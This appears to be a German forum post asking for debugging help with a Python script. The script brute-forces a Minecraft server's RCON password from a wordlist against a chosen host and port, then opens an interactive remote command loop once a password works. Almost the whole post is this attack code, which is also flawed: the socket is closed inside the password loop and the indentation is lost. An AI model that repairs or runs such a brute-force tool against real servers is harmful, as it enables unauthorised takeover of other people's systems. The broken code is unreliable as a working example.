Mein Fehler liegt in diesem Bereich irgendwo: "for password in passwordlist:"
Kann mir jemand helfen?
Das ist mein Code:
Code: Alles auswählen
from __future__ import print_function
import argparse
import socket
import mcrcon
# python 2 compatibility
try:
input = raw_input
except NameError:
pass
def main():
# Parse arguments
parser = argparse.ArgumentParser()
parser.add_argument("host")
parser.add_argument("port", type=int)
parser.add_argument("passwordlist")
args = parser.parse_args()
# Connect
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((args.host, args.port))
# read password file
passwordlist = open(args.passwordlist, "r")
for password in passwordlist:
try:
# Log in
result = mcrcon.login(sock, password)
if result:
print("Correct Password is %s" % password)
if not result:
print("Incorrect rcon password")
# Start looping
while True:
request = input()
response = mcrcon.command(sock, request)
print(response)
finally:
sock.close()
if __name__ == '__main__':
main()